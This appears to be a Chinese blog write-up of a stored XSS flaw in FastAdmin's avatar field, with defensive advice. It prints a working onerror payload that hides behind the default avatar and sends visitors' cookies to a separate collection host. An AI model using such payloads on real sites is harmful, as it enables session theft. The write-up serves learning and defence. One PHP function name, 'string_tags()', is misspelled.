说明
之前项目里面用到了基于 ThinkPHP5 框架开发的 Fast Admin 开源项目,简单测试了一下,发现在个人资料页面,头像参数(avatar)未过滤特殊字符,导致存在 XSS 存储型漏洞。
利用 XSS 窃取 Cookie
准备
- Fiddler
- 接收 Cookie 的接口
- 数据库
- Chrome
进入会员中心-个人资料页面,配置好 Fiddler 对浏览器数据进行拦截。
修改参数
此处使 img 提前闭合,并赋予错误的值,触发 onerror。
将 avatar 参数改为以下代码并提交:
1" onerror="var url = 'http://192.168.40.2:98/assets/img/avatar.png'
var targetUrl = 'http://192.168.40.2:83/api/index/getCookie?cookie='
this.setAttribute('src', url)
setTimeout(function(){$.get(targetUrl.concat(document.cookie));},5000)
getCookie 用来接收 Cookie 参数并存入数据库,当任意用户加载当前用户头像时,会显示默认头像(用来伪装),且将用户Cookie传到接口。
防御
前端
- HTML节点或属性中通过replace()方法使用正则表达式转义’<’、’>’、单引号、双引号和空格;
- JS中通过stringify()将对象或数组转换为JSON字符串;
PHP
- 使用内置函数进行转义
- string_tags(),过滤所有HTML标签;
- htmlspecialchars(value, ENT_QUOTES),将’<’、’>’、单引号、双引号和&符号转化为HTML实体代码;
- 使用 DOM 白名单;
- 使用 Github 第三方库;
- 使用 CSP ;
结束
这里只是简单利用一下,目的是为了强化自己对 XSS 漏洞危害的认知。后面也要经常关注安全方面的知识。